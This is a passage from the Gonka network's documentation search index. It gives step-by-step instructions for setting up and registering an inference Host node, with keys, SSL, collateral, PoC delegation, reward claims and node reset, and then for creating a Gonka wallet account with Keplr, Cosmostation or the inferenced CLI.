The gonka repo ships an agent skill, mlnode-validate, that validates an ML Node against pre-computed honest PoC vectors for a specific model. Committed golden references are available for Qwen3-0.6B, Qwen3-235B (default + DeepGEMM + pubkey-v2 variants), Kimi K2.6, and MiniMax M2.7. See Validate ML Node Deployment.
Inference nodes download model weights from Hugging Face. To make sure the model weights are ready for inference, you should download them before deployment.
Kimi K2.6MiniMax M2.7mkdir -p $HF_HOME\nhuggingface-cli download moonshotai/Kimi-K2.6\nModel license: see Model licenses. For operational notes and on-chain options (intent, delegation), see Kimi K2.6 Bootstrap.
mkdir -p $HF_HOME\nhuggingface-cli download MiniMaxAI/MiniMax-M2.7\nModel license: see Model licenses. MiniMax M2.7 requires MLNode 3.0.14 or newer (image ghcr.io/gonka-ai/mlnode:3.0.14-cu129, pinned in deploy/join/docker-compose.mlnode.yml). On A100 hardware also make sure the VLLM_USE_FLASHINFER_MOE_FP8=0 environment variable is set for the mlnode-308 service (pre-set in the shipped compose file).
Make sure you are in the gonka/deploy/join folder before running the next commands.
docker compose -f docker-compose.yml -f docker-compose.mlnode.yml pull\nStart the essential services needed for key setup (excluding the API service):
source config.env && \\\ndocker compose up tmkms node -d --no-deps\nWe start these specific containers first because:
tmkms - Generates and securely manages the Consensus Key needed for validator registrationnode - Connects to the blockchain and provides the RPC endpoint to retrieve the Consensus Key api - is deliberately excluded at this stage because we need to create the ML Operational Key inside it in the next stepRecommendation
You can check logs to verify that the initial services started successfully:
docker compose logs tmkms node -f\nIf you see the Chain Node continuously processing block events, then the setup is working correctly.
About Consensus KeyDuring the registration command on step 3.2. (inferenced register-new-participant), the Consensus Key is linked to your Account Key (Cold Key) on-chain, establishing your node as a valid participant in the network.
If you delete or overwrite the .tmkms folder, your Consensus Key will be lost. This key is what links your node to the blockchain’s validator set. Once .tmkms is gone, you must start the entire setup from scratch, including generating a new Consensus Key (via tmkms) (see “I Cleared or Overwrote My Consensus Key” on the FAQ page).
Now we need to complete the key management setup by creating the warm key, registering the Host, and granting permissions:
"}, {"location": "gonka/docs/host/quickstart/#31-server-create-ml-operational-key", "title": "3.1. [Server] Create ML Operational Key", "text": "About ML Operational Key (Warm Key)Create the warm key inside the api container using the file keyring backend (required for programmatic access). The key will be stored in a persistent volume mapped to /root/.inference of the container:
docker compose run --rm --no-deps -it api /bin/sh\nInside the container, create the ML operational key:
printf '%s\\n%s\\n' \"$KEYRING_PASSWORD\" \"$KEYRING_PASSWORD\" | inferenced keys add \"$KEY_NAME\" --keyring-backend file\nImportant
Do not run this command twice. The ML Operational Key (Warm Key) is generated once per server and must be preserved across restarts.
Example output:
~ # printf '%s\\n%s\\n' \"$KEYRING_PASSWORD\" \"$KEYRING_PASSWORD\" | inferenced keys add \"$KEY_NAME\" --keyring-backend file\n\n- address: gonka1gyz2agg5yx49gy2z4qpsz9826t6s9xev6tkehw\n name: node-702105\n pubkey: '{\"@type\":\"/cosmos.crypto.secp256k1.PubKey\",\"key\":\"Ao8VPh5U5XQBcJ6qxAIwBbhF/3UPZEwzZ9H/qbIA6ipj\"}'\n type: local\n\n\n**Important** write this mnemonic phrase in a safe place.\nIt is the only way to recover your account if you ever forget your password.\n\nagain plastic athlete arrow first measure danger drastic wolf coyote work memory already inmate sorry path tackle custom write result west tray rabbit jeans\nFrom the same container, register the Host — this links your URL, Account Key, and Consensus Key (fetched automatically) on-chain:
inferenced register-new-participant \\\n $DAPI_API__PUBLIC_URL \\\n $ACCOUNT_PUBKEY \\\n --node-address $DAPI_CHAIN_NODE__SEED_API_URL\nExpected output:
...\nFound participant: gonka1rk52j24xj9ej87jas4zqpvjuhrgpnd7h3feqmm (url: http://36.189.234.237:19250, status: ACTIVE)\nParticipant is now available at http://36.189.234.237:19250/v2/participants/gonka1rk52j24xj9ej87jas4zqpvjuhrgpnd7h3feqmm\nAccount balance: 0\nAccount already has GNK but has not sent any transactions
In most cases, inferenced register-new-participant can register your Host directly from inside the api container.
However, there is a known edge case: if your Account Key address has already received GNK but has never sent a transaction itself, registration from inside the container may fail with an error similar to:
rpc error: code = Unknown desc = runtime error: invalid memory address or nil pointer dereference: panic\nThis can happen when the account has a balance, but its on-chain transaction sequence is still 0.
If the command above fails with this error, you can check the account balance and sequence from your local machine:
./inferenced query auth account <YOUR_COLD_ADDRESS> \\\n --node <node-url>/chain-rpc/ \\\n --output json | jq -r '.account.value.sequence // .sequence // \"0\"'\nIf the account has a non-zero ngonka balance and the sequence command returns 0, use the manual registration flow below.
Step 1. While still in the container from step 3.1, get your Consensus Key and note it down:
curl -s $DAPI_CHAIN_NODE__URL/status | jq -r '.result.validator_info.pub_key.value'\nStep 2. Exit the container, then run this command on your local machine (where your Account Key is stored):
./inferenced tx inference submit-new-participant \\\n <PUBLIC_URL> \\\n --validator-key <CONSENSUS_KEY> \\\n --keyring-backend file \\\n --from <COLD_KEY_NAME> \\\n --timeout-duration 1m \\\n --unordered \\\n --node <node-url>/chain-rpc/ \\\n --chain-id gonka-mainnet\n<node-url> — any already-running node on the network (e.g. http://node2.gonka.ai:8000). Do not use your own node's URL — it is not fully started yet at this step.
If you created your Account Key with a custom --keyring-dir, add --keyring-dir <path> to the command.
The command will prompt confirm transaction before signing and broadcasting [y/N]: — type y to proceed.
Gas is paid from the Account Key's balance. Make sure the account has coins before running this command.
Per-Node Account Key Configuration
Always generate a unique ACCOUNT_PUBKEY for each Network Node to ensure proper separation of Hosts.
Then we can exit the container:
exit\nIMPORTANT: Perform this step on your secure local machine where you created the Account Key
Grant permissions from your Account Key to the ML Operational Key:
./inferenced tx inference grant-ml-ops-permissions \\\n gonka-account-key \\\n <ml-operational-key-address-from-step-3.1> \\\n --from gonka-account-key \\\n --keyring-backend file \\\n --gas 2000000 \\\n --node <seed_api_url from server's config.env>/chain-rpc/ \nExpected output:
...\nTransaction sent with hash: FB9BBBB5F8C155D0732B290C443A0D06BC114CDF43E8EE8FB329D646C608062E\nWaiting for transaction to be included in a block...\n\nTransaction confirmed successfully!\nBlock height: 174\nIf you selected manual SSL certificate setup in the questionnaire above, follow these steps to configure your SSL certificates:
"}, {"location": "gonka/docs/host/quickstart/#prepare-directories", "title": "Prepare directories", "text": "mkdir -p secrets/nginx-ssl secrets/certbot\nDOMAIN=<FULL_DOMAIN_NAME>\nACCOUNT_EMAIL=<EMAIL_ADDRESS> # renewal notices\nmkdir -p secrets/nginx-ssl secrets/certbot\n\ndocker run --rm -it \\\n -v \"$(pwd)/secrets/certbot:/etc/letsencrypt\" \\\n -v \"$(pwd)/secrets/nginx-ssl:/mnt/nginx-ssl\" \\\n certbot/certbot certonly --manual --preferred-challenges dns \\\n -d \"$DOMAIN\" --email \"$ACCOUNT_EMAIL\" --agree-tos --no-eff-email \\\n --deploy-hook 'install -m 0644 \"$RENEWED_LINEAGE/fullchain.pem\" /mnt/nginx-ssl/cert.pem; \\\n install -m 0600 \"$RENEWED_LINEAGE/privkey.pem\" /mnt/nginx-ssl/private.key'\nDNS Challenge
Certbot will pause and show the TXT DNS record to add at your provider. After validation, cert.pem and private.key will appear in ./secrets/nginx-ssl/.
Ensure the certificate files are in place:
ls -la secrets/nginx-ssl/\nYou should see: - cert.pem (fullchain certificate) - private.key (private key with mode 0600)
The config.env file generated by the questionnaire already includes the necessary SSL configuration variables: - SERVER_NAME=<FULL_DOMAIN_NAME> - SSL_CERT_SOURCE=./secrets/nginx-ssl
Make sure to edit SERVER_NAME with your actual domain name before proceeding.
Finally, launch all containers, including the API:
Configuration Required
Please complete the questionnaire above to generate the launch commands.
Launch all containers:
source config.env && \\\ndocker compose -f docker-compose.yml -f docker-compose.mlnode.yml up -d\nLaunch all containers with automatic SSL certificate management:
source config.env && \\\ndocker compose --profile \"ssl\" \\\n -f docker-compose.yml -f docker-compose.mlnode.yml \\\n up -d\nThe --profile \"ssl\" flag enables the proxy-ssl container which automatically manages SSL certificates.
Launch all containers with manual SSL certificates:
source config.env && \\\ndocker compose -f docker-compose.yml -f docker-compose.mlnode.yml up -d\nVerify HTTPS is working:
curl -I https://<FULL_DOMAIN_NAME>:8443/health # Expect: HTTP/2 200 OK\nOpen this URL, replacing <your-gonka-cold-address> with your address:
http://node2.gonka.ai:8000/v2/participants/<your-gonka-cold-address>\nYou should see participant data in JSON (participant.address, participant.inferenceUrl, participant.status).
To check account data (pubkey, balance, denom), use:
http://node2.gonka.ai:8000/v2/accounts/<your-gonka-cold-address>\nOnce your node completes the Proof of Compute stage (which runs every 24 hours), you can visit the following URL to see your node:
http://node2.gonka.ai:8000/v1/epochs/current/participants\nYou can simulate the Proof of Compute on a MLNode yourself to make sure that everything will work when the PoC phase begins on the chain.
You may turn off your server before this stage and start it again right before the next Proof of Compute. To track when the next Proof of Compute session will begin, check the dashboard here:
http://node2.gonka.ai:8000/dashboard/gonka/validator\nOnce your node is running, check your node status through the proxy.
curl http://<PUBLIC_IP>:8000/chain-rpc/status\ncurl http://0.0.0.0:26657/status\ncurl http://node2.gonka.ai:8000/chain-rpc/status\nOnce your node is visible in the Dashboard, you may also want to update your public profile (host name, website, avatar). This helps other participants identify your node in the network. You can find the instructions here.
"}, {"location": "gonka/docs/host/quickstart/#5-local-machine-deposit-collateral", "title": "5. [Local machine] Deposit Collateral", "text": "IMPORTANT: Perform this step on your secure local machine where you created the Account Key.
Collateral is locked GNK that activates the collateral-eligible portion of your PoC weight. Without it, a Host receives only the base weight (20% by default) of what Proof of Compute earns. The grace period has ended, so this step is required to run at full weight.
Note on timing: Verify Node Status confirms your containers are running and your participant is registered. It does not mean Proof of Compute has succeeded — PoC runs every ~24 hours and only after it completes can you see your actual weight at $NODE_URL/v1/epochs/current/participants. The two options below let you either deposit now with an estimate, or wait for the first PoC and deposit with precise data.
There is no way to know your PoC weight in advance — it is determined by your hardware, the network's current size, and per-model coefficients.
Option A — Deposit now (full weight from epoch 1). Look at the current weight distribution in the network and deposit enough to cover the upper end. Your node enters its first PoC with collateral already in place.
export NODE_URL=\"<seed_api_url from server's config.env>\" # e.g. http://node2.gonka.ai:8000\nexport CHAIN_ID=\"gonka-mainnet\"\n\nPARAMS=$(curl -s \"$NODE_URL/chain-api/productscience/inference/inference/params\")\nBASE_WEIGHT_RATIO=$(echo \"$PARAMS\" | jq -r '.params.collateral_params.base_weight_ratio\n | (.value | tonumber) * pow(10; .exponent | tonumber)')\nCOLLATERAL_PER_UNIT=$(echo \"$PARAMS\" | jq -r '.params.collateral_params.collateral_per_weight_unit\n | (.value | tonumber) * pow(10; .exponent | tonumber)')\n\nMAX_WEIGHT=$(curl -s \"$NODE_URL/v1/epochs/current/participants\" \\\n | jq '[.active_participants.participants[].weight] | max')\n\nDEPOSIT=$(printf \"%.0f\" \"$(echo \"$MAX_WEIGHT * (1 - $BASE_WEIGHT_RATIO) * $COLLATERAL_PER_UNIT * 2\" | bc -l)\")\necho \"Recommended deposit (covers network max with 2x buffer): ${DEPOSIT} ngonka\"\nThe formula is MAX_WEIGHT × (1 − BASE_WEIGHT_RATIO) × COLLATERAL_PER_UNIT × 2: only the collateral-eligible portion of the weight needs backing (the rest is granted as base weight), and × 2 is the recommended safety buffer. All parameters are read from the chain so the script remains correct if governance updates them.
Why the 2× buffer? PoC weights fluctuate between epochs (network normalization, model coefficients, caps, penalties). The protocol does not auto-top-up: if your collateral falls short of your actual weight at the next epoch boundary, you silently get less weight until you deposit more — losing at least one epoch of full rewards. Excess collateral is not lost: it sits in the module and can be withdrawn later via withdraw-collateral.
Option B — Wait for first PoC, then deposit precisely (costs one epoch at 20% weight). Skip this step now, wait for your first PoC stage to complete (every ~24 hours), then check your actual weight at $NODE_URL/v1/epochs/current/participants and re-run the same script above with your own weight in place of MAX_WEIGHT. From the second epoch onwards your node runs at full weight.
Deposit collateral from your Account Key (always use ngonka):
./inferenced tx collateral deposit-collateral ${DEPOSIT}ngonka \\\n --from gonka-account-key \\\n --keyring-backend file \\\n --node $NODE_URL/chain-rpc/ \\\n --chain-id $CHAIN_ID\nVerify:
MY_ADDR=$(./inferenced keys show gonka-account-key -a --keyring-backend file)\ncurl -s \"$NODE_URL/chain-api/productscience/inference/collateral/collateral/$MY_ADDR\" | jq\nDeposits are cumulative — top up later with another deposit-collateral if your weight grows. To free unused collateral, use withdraw-collateral (subject to an unbonding period, default 1 epoch).
For details on slashing, withdrawal, and parameter tuning, see the Collateral documentation.
"}, {"location": "gonka/docs/host/quickstart/#optional-poc-delegation-and-refusal", "title": "Optional: PoC delegation and refusal", "text": "Use this section after your Host is registered, the ML Operational Key is authorized, and you can verify participation—typically from your local machine with the Account (cold) key (gonka-account-key). Nothing here is required to start containers; it applies when you do not run every governance-approved model on your own GPUs and must delegate PoC voting to another participant, refuse delegation, or compare timing against params.
For each model_id you either run the model (PoC commits from your stack) or signal on-chain. Delegation is the common choice when you trust a host who runs that model; refuse is an explicit opt-out. Background: Multi-Model PoC — Host Operations Guide.
Set NODE to any synced chain RPC (same pattern as grant-ml-ops-permissions: seed API URL from config.env with /chain-rpc/ appended).
export NODE=\"<PUBLIC_CHAIN_RPC>\" # e.g. http://node2.gonka.ai:8000/chain-rpc/\nexport CHAIN_ID=\"gonka-mainnet\"\nexport KEY=\"gonka-account-key\"\nexport KEYRING_BACKEND=\"file\"\nCheck governance parameters (penalties, penalty_start_epoch, etc.):
./inferenced query inference params --node \"$NODE\" -o json\nInspect your PoC delegation / refusal / intent state (all models):
MY_ADDR=\"$(./inferenced keys show \"$KEY\" -a --keyring-backend \"$KEYRING_BACKEND\")\"\n./inferenced query inference poc-delegation \"$MY_ADDR\" --node \"$NODE\" -o json\nDelegate — attach your weight for that model's PoC validation to DELEGATEE (their gonka1… address). Example for Kimi:
MODEL=\"moonshotai/Kimi-K2.6\"\nDELEGATEE=\"gonka1xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\n\n./inferenced tx inference set-poc-delegation \"$MODEL\" \"$DELEGATEE\" \\\n --from \"$KEY\" \\\n --node \"$NODE\" \\\n --chain-id \"$CHAIN_ID\" \\\n --keyring-backend \"$KEYRING_BACKEND\" \\\n --gas auto \\\n --gas-adjustment 1.3 \\\n -y\nExample for MiniMax (e.g. you run Kimi only on your GPUs):
MODEL=\"MiniMaxAI/MiniMax-M2.7\"\nDELEGATEE=\"gonka1xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\n\n./inferenced tx inference set-poc-delegation \"$MODEL\" \"$DELEGATEE\" \\\n --from \"$KEY\" \\\n --node \"$NODE\" \\\n --chain-id \"$CHAIN_ID\" \\\n --keyring-backend \"$KEYRING_BACKEND\" \\\n --gas auto \\\n --gas-adjustment 1.3 \\\n -y\nClear a delegation for one model:
MODEL=\"moonshotai/Kimi-K2.6\"\n\n./inferenced tx inference set-poc-delegation \"$MODEL\" \"\" \\\n --from \"$KEY\" \\\n --node \"$NODE\" \\\n --chain-id \"$CHAIN_ID\" \\\n --keyring-backend \"$KEYRING_BACKEND\" \\\n --gas auto \\\n --gas-adjustment 1.3 \\\n -y\nRefuse delegation for one model (explicit on-chain “no”):
MODEL=\"moonshotai/Kimi-K2.6\"\n\n./inferenced tx inference refuse-poc-delegation \"$MODEL\" \\\n --from \"$KEY\" \\\n --node \"$NODE\" \\\n --chain-id \"$CHAIN_ID\" \\\n --keyring-backend \"$KEYRING_BACKEND\" \\\n --gas auto \\\n --gas-adjustment 1.3 \\\n -y\ndeclare-poc-intent applies mainly to new model bootstrap windows; see Kimi K2.6 Bootstrap. More commands and edge cases: Multi-Model PoC — Host Operations Guide.
Check the epoch you are currently in. Open the URL: http://node1.gonka.ai:8000/api/v1/epochs/latest (You can use the URL any other active participant).
In the response, look for:
\"latest_epoch\": {\n \"index\": 88,\n ...\n}\nRemember the latest epoch index your node worked for.
In the same JSON response, find:
\"next_epoch_stages\": {\n ...\n \"claim_money\": <block_number>\n}\nDisable each ML Node.
curl -X POST http://<api_node_static_ip>:<admin_port>/admin/v1/nodes/<id>/disable\nKeep your Network Node online and synced, it should handle the reward claim automatically. To check that your latest reward was claimed, after the claim_money block run the following command (replace <YOUR_ADDRESS> and <EPOCH> with your actual values):
inferenced query inference show-epoch-performance-summary <EPOCH> <YOUR_ADDRESS> --node http://node1.gonka.ai:8000/chain-rpc/ --output json\nOutput:\n{\n \"epochPerformanceSummary\": {\n \"epoch_index\": \"87\",\n \"participant_id\": \"<YOUR_ADDRESS>\",\n \"missed_requests\": \"1\",\n \"rewarded_coins\": \"123456\",\n \"claimed\": true\n }\n}\nclaimed = true, your reward has already been claimed. If it shows false, proceed to the manual claim step. Manually claim the reward (if needed)
Run:
curl -X POST http://localhost:9200/admin/v1/claim-reward/recover \\\n -H \"Content-Type: application/json\" \\\n -d '{\"force_claim\": true}'\nVerify removal and weight. If you disabled all your nodes then your participant should be absent from the active participants list. In case you can still see your participant in the list then it means the network still expects you to participate in the epoch and if you proceed with disabling your node you may miss inferences which will affect your reputation.
Make sure you are in gonka/deploy/join folder. To stop all running containers:
docker compose -f docker-compose.yml -f docker-compose.mlnode.yml down\ndocker-compose.yml and docker-compose.mlnode.yml files without deleting volumes or data unless explicitly configured."}, {"location": "gonka/docs/host/quickstart/#how-to-clean-up-your-node-full-reset", "title": "How to clean up your node (full reset)", "text": "If you want to completely reset your node and remove all data (for redeployment or migration), use the following cleanup steps.
To clean up cache and start fresh, remove the local .inference and .dapi folders (inference runtime cache and identity):
rm -rf .inference .dapi .tmkms\n(Optional) Clear model weights cache:
rm -rf $HF_HOME\nNote
Deleting $HF_HOME will require re-downloading large model files from Hugging Face or re-mounting the NFS cache.
Need help? Find answers on FAQ page, or join Discord server for assistance with general inquiries, technical issues, or security concerns.
"}, {"location": "gonka/docs/participant/", "title": "Redirecting to Host Section", "text": ""}, {"location": "gonka/docs/participant/#redirecting-to-host-section", "title": "Redirecting to Host Section", "text": "This page is redirecting you to the Host section of the documentation.
If you are not redirected automatically, please click here.
"}, {"location": "gonka/docs/participant/benchmark-to-choose-optimal-deployment-config-for-llms/", "title": "Redirecting to Host Benchmark", "text": ""}, {"location": "gonka/docs/participant/benchmark-to-choose-optimal-deployment-config-for-llms/#redirecting-to-host-benchmark", "title": "Redirecting to Host Benchmark", "text": "This page has moved to the [Host section/host/benchmark-to-choose-optimal-deployment-config-for-llms/).
If you are not redirected automatically, please [click here/host/benchmark-to-choose-optimal-deployment-config-for-llms/).
"}, {"location": "gonka/docs/participant/genesis-new/", "title": "Redirecting to Host Genesis (New)", "text": ""}, {"location": "gonka/docs/participant/genesis-new/#redirecting-to-host-genesis-new", "title": "Redirecting to Host Genesis (New)", "text": "This page has moved to the [Host section/host/genesis-new/).
If you are not redirected automatically, please [click here/host/genesis-new/).
"}, {"location": "gonka/docs/participant/genesis/", "title": "Redirecting to Host Genesis", "text": ""}, {"location": "gonka/docs/participant/genesis/#redirecting-to-host-genesis", "title": "Redirecting to Host Genesis", "text": "This page has moved to the [Host section/host/genesis/).
If you are not redirected automatically, please [click here/host/genesis/).
"}, {"location": "gonka/docs/participant/hardware-specifications/", "title": "Redirecting to Host Hardware Specifications", "text": ""}, {"location": "gonka/docs/participant/hardware-specifications/#redirecting-to-host-hardware-specifications", "title": "Redirecting to Host Hardware Specifications", "text": "This page has moved to the [Host section/host/hardware-specifications/).
If you are not redirected automatically, please [click here/host/hardware-specifications/).
"}, {"location": "gonka/docs/participant/key-management/", "title": "Redirecting to Host Key Management", "text": ""}, {"location": "gonka/docs/participant/key-management/#redirecting-to-host-key-management", "title": "Redirecting to Host Key Management", "text": "This page has moved to the Host section.
If you are not redirected automatically, please click here.
"}, {"location": "gonka/docs/participant/multi-node-setup-for-review/", "title": "Redirecting to Host Multi Node Setup", "text": ""}, {"location": "gonka/docs/participant/multi-node-setup-for-review/#redirecting-to-host-multi-node-setup", "title": "Redirecting to Host Multi Node Setup", "text": "This page has moved to the [Host section/host/multi-node-setup-for-review/).
If you are not redirected automatically, please [click here/host/multi-node-setup-for-review/).
"}, {"location": "gonka/docs/participant/multiple-nodes/", "title": "Redirecting to Host Multiple Nodes", "text": ""}, {"location": "gonka/docs/participant/multiple-nodes/#redirecting-to-host-multiple-nodes", "title": "Redirecting to Host Multiple Nodes", "text": "This page has moved to the Host section.
If you are not redirected automatically, please click here.
"}, {"location": "gonka/docs/participant/network-node-api/", "title": "Redirecting to Host Network Node API", "text": ""}, {"location": "gonka/docs/participant/network-node-api/#redirecting-to-host-network-node-api", "title": "Redirecting to Host Network Node API", "text": "This page has moved to the [Host section/host/network-node-api/).
If you are not redirected automatically, please [click here/host/network-node-api/).
"}, {"location": "gonka/docs/participant/quickstart/", "title": "Redirecting to Host Quickstart", "text": ""}, {"location": "gonka/docs/participant/quickstart/#redirecting-to-host-quickstart", "title": "Redirecting to Host Quickstart", "text": "This page has moved to the Host section.
If you are not redirected automatically, please click here.
"}, {"location": "gonka/docs/wallet/create-account/", "title": "Create a Gonka account", "text": ""}, {"location": "gonka/docs/wallet/create-account/#create-a-new-gonka-account", "title": "Create a new Gonka account", "text": "To start using Gonka Network, you first need to create a Gonka Account. There are several ways to do this:
inferenced CLI toolBridge compatibility and seed (mnemonic) phrases
If you create your Gonka account using a mnemonic (seed) phrase — as Cosmostation and Fox Wallet do by default — the account is compatible with the Ethereum bridge, but the bridge will deliver tokens to a different gonka1… address than the one your wallet displays. This happens because Ethereum and Gonka use different BIP-44 derivation paths (coin type 60 vs 118), so the same seed phrase produces different private keys on each chain. You still control those funds and can access them with an extra derivation step. See Addresses and keys for a full explanation.
For the simplest bridge experience — where your wallet automatically shows the address the bridge uses and no extra derivation step is needed — create your Gonka account in one of the following ways:
inferenced CLI toolStep-by-step instructions are provided below for Keplr and Cosmostation. The same process — install the wallet or extension, log in, enable the Gonka chain, and copy your address — also works in Fox Wallet.
External walletViainferenced CLI tool I do not have an external walletI have an external wallet Keplr mobile appKeplr browser extensionCosmostation browser extension Go to the official Keplr website and click \"Get Keplr wallet\".
Scroll down to the Mobile App section and choose your operating system. Download the app.
Open the app. Click “Create a new wallet”.
Click \"Connect with Google\". Follow the instructions to sign in via Gmail.
Bridge compatibility
Accounts created with the Keplr “Connect with Google” flow are key-based rather than seed-phrase based, so they are fully compatible with the Ethereum bridge — the bridge delivers tokens to the same gonka1… address your wallet shows, with no extra derivation step. See Addresses and keys for details.
Backup your private key securely. Anyone with your private key can have access to your assets. If you lose access to your Gmail Account, the only way to recover your wallet is by using your private key. Store your private key in a safe and secure place. Never share your private key with anyone.
Type “Gonka” into the search bar and select Gonka chain to add it to your wallet.
You have created your wallet in Keplr. Now, follow the instructions below to find your account address.
On the home screen, scroll down to the Gonka chain and tap it.
Above your balance, you will see your Gonka account address. Tap the copy icon to copy your full Gonka account address.
You copied your Gonka account address. You can share it with anyone who will send you payments. Sharing it is safe.
Go to the official Keplr website and click \"Get Keplr wallet\".
Choose an extension for your browser.
Add the selected extension to your browser.
FirefoxGoogle ChromeAfter installing the extension, you should see it in the top-right panel of your browser.
At this point, the extension is installed, but your wallet and Gonka account have not been created yet. Please continue to the next step to set them up.
Open the Keplr browser extension. Click \"Create a new wallet\".
Click \"Connect with Google\". Follow the instructions to sign in via Gmail.
Bridge compatibility
Accounts created with the Keplr “Connect with Google” flow are key-based rather than seed-phrase based, so they are fully compatible with the Ethereum bridge — the bridge delivers tokens to the same gonka1… address your wallet shows, with no extra derivation step. See Addresses and keys for details.
Set Up Your Wallet. Store your password in a safe and secure place.
Backup your private key securely. Anyone with your private key can have access to your assets. If you lose access to your Gmail Account, the only way to recover your wallet is by using your private key. Store your private key in a safe and secure place. Never share your private key with anyone.
Type “Gonka” into the search bar and select Gonka chain to add it to your wallet.
You have created your wallet in Keplr. Now, follow the instructions below to find your account address.
Open Keplr, navigate, and click on “Copy Address” in your wallet.
Click the Copy button next to the Gonka chain.
You copied your Gonka account address. You can share it with anyone who will send you payments. Sharing it is safe. To access your wallet on a mobile device, download the Keplr app and log in using the same method you used during registration. Your Gonka Network account will automatically appear in the mobile wallet app.
Optional: How to add an additional Gonka account in Keplr wallet — click to view stepsOpen the extension and click on the account icon in the top-right corner of the extension window.
Click the \"Add wallet\" button.
Click \"Import an Existing Wallet\".
Click \"Use recovery phrase or private key\"
Paste your private key.
Bridge compatibility
If your Keplr wallet was created from a mnemonic (seed) phrase, the account is still compatible with the Ethereum bridge, but the bridge will deliver tokens to a different gonka1… address than the one your wallet shows. This happens because Ethereum and Gonka use different BIP-44 derivation paths (coin type 60 vs 118). You still control those funds and can access them with an extra derivation step. For the simplest bridge experience, create your Gonka account with the inferenced CLI tool or the Keplr “Connect with Google” flow. See Addresses and keys for details.
Give your wallet a name for easy reference.
Make sure Gonka chain is selected.
Done — your Gonka account has been successfully imported into Keplr!
Bridge compatibility
This option creates your account from a mnemonic (seed) phrase, so the account is compatible with the Ethereum bridge, but the bridge will deliver tokens to a different gonka1… address than the one your wallet shows. This happens because Ethereum and Gonka use different BIP-44 derivation paths (coin type 60 vs 118). You still control that address and can access it with an extra derivation step. For the simplest bridge experience, create your Gonka account with the inferenced CLI tool or the Keplr “Connect with Google” flow instead. See Addresses and keys for details.
Get Cosmostation Wallet browser extension.
Add an extension to your browser.
Choose \"Create new wallet\".
Write down your mnemonic phrase. DO NOT share your recovery phrase with ANYONE. Anyone with your recovery phrase can have full control over your assets. Please stay vigilant against phishing attacks at all times. Back up the phrase safely.
Complete the quiz in order. Check the backed-up mnemonic and select the correct phrase in order for each number.
Set account name. Please enter a name for your account. You can change the account name at any time.
In the top-right corner, click “All Networks” and select the Gonka chain to add it to your wallet.
Done! Your Gonka account has been successfully created. To copy your address, which you can share with others to receive payments, click the address above your balance. It usually starts with gonka....
Click on the Wallet name at the top. Click \"Manage\" on the top-right corner, then click the Wallet name.
Click \"View private key\".
Verify your password.
Choose \"Gonka\" from the list.
Click on \"Gonka\" to see the private key. Copy your private key or recovery phrase and store it securely (a hard copy is preferred).
Keplr mobile appKeplr browser extensionCosmostation browser extensionBridge compatibility
If your Keplr wallet was created from a mnemonic (seed) phrase, the account is still compatible with the Ethereum bridge, but the bridge will deliver tokens to a different gonka1… address than the one your wallet shows. This happens because Ethereum and Gonka use different BIP-44 derivation paths (coin type 60 vs 118). You still control those funds and can access them with an extra derivation step. For the simplest bridge experience, create your Gonka account with the inferenced CLI tool or the Keplr “Connect with Google” flow. See Addresses and keys for details.
Open Keplr mobile app and log in to your wallet. Select the menu in the top left corner.
Click “Add/Remove” Chains.
Type “Gonka” in the search bar and select the Gonka chain.
On the home screen, scroll down to the Gonka chain and tap it.
Above your balance, you will see your Gonka account address. Tap the copy icon to copy your full Gonka account address.
You copied your Gonka account address. You can share it with anyone who will send you payments. Sharing it is safe.
Bridge compatibility
If your Keplr wallet was created from a mnemonic (seed) phrase, the account is still compatible with the Ethereum bridge, but the bridge will deliver tokens to a different gonka1… address than the one your wallet shows. This happens because Ethereum and Gonka use different BIP-44 derivation paths (coin type 60 vs 118). You still control those funds and can access them with an extra derivation step. For the simplest bridge experience, create your Gonka account with the inferenced CLI tool or the Keplr “Connect with Google” flow. See Addresses and keys for details.
Install an extension for your browser (if you have the extension installed, go to the step “Add Gonka network to your Keplr wallet”).
Go to the official Keplr website and click \"Get Keplr wallet\".
Choose an extension for your browser.
Add the selected extension to your browser.
FirefoxGoogle ChromeAfter installing the extension, you should see it in the top-right panel of your browser.
At this point, the extension is installed, but not yet connected to your wallet. Next, open the extension and log in to your wallet. Once you are logged in, follow the steps below to continue with the setup process.
Bridge compatibility
This option creates your account from a mnemonic (seed) phrase, so the account is compatible with the Ethereum bridge, but the bridge will deliver tokens to a different gonka1… address than the one your wallet shows. This happens because Ethereum and Gonka use different BIP-44 derivation paths (coin type 60 vs 118). You still control that address and can access it with an extra derivation step. For the simplest bridge experience, create your Gonka account with the inferenced CLI tool or the Keplr “Connect with Google” flow instead. See Addresses and keys for details.
Install the Cosmostation Wallet browser extension if you haven't already (if you have the extension installed, go to the step \"Add Gonka network to your Cosmostation wallet\").
Add the extension to your browser.
Open the Cosmostation extension and log in to your existing wallet.
This guide explains how to create a Gonka Network account using the inferenced CLI tool. Download the inferenced CLI tool (the latest inferenced binary for your system is here).
What is the inferenced CLI tool?
The inferenced CLI tool is a command-line interface utility used to interact with the Gonka network. It is a standalone, executable binary that allows users to create and manage Gonka accounts, perform inference tasks, upload models, and automate various operations through scripted commands.
Before creating an account, set up the required environment variables:
export ACCOUNT_NAME=<your-desired-account-name>\nexport NODE_URL=<http://random-node-url>\n<your-desired-account-name> with your chosen account name.This name is not recorded on-chain — it exists only in your local key store. Uniqueness is local: creating two keys with the same name will overwrite the existing one (with a CLI warning). If you proceed, the original key will be permanently lost. It is highly recommended to back up your public and private keys before performing this operation.
<http://random-node-url> with a random Node URL. You can either:Do not forget to write it down, you will need it in the next step.
Why a random node?To avoid over-reliance on the genesis node and encourage decentralization, Gonka recommends selecting a random active node from the current epoch. This improves network load distribution and resilience to node outages.
How to choose a Node URL?You can choose any node randomly — you do not need to consider which model it runs. At this point, the node is used purely as a gateway to fetch network state and broadcast transactions. All nodes expose the same public API.
Genesis nodesCurrent list of active participantsSet the NODE_URL to one of the genesis nodes:
http://36.189.234.237:17241\nhttps://node1.gonka.ai:8443\nhttps://node2.gonka.ai:8443\nhttp://47.236.26.199:8000\nhttp://47.236.19.22:18000\nhttp://gonka.spv.re:8000\nAlternatively, you can select a random active participant from the current epoch. Open the link or run the following command to fetch the list of active participants along with a cryptographic proof for verification:
LinkCommandhttps://node2.gonka.ai:8443/v1/epochs/current/participants
curl https://node2.gonka.ai:8443/v1/epochs/current/participants\nDownload the inferenced CLI tool (the latest inferenced binary for your system is here).
On macOS, after downloading the inferenced binary, you may need to manually enable execution permissions. Follow these steps:
Open a terminal and navigate to the directory where the binary is located.
Run the following command to grant execution permission:
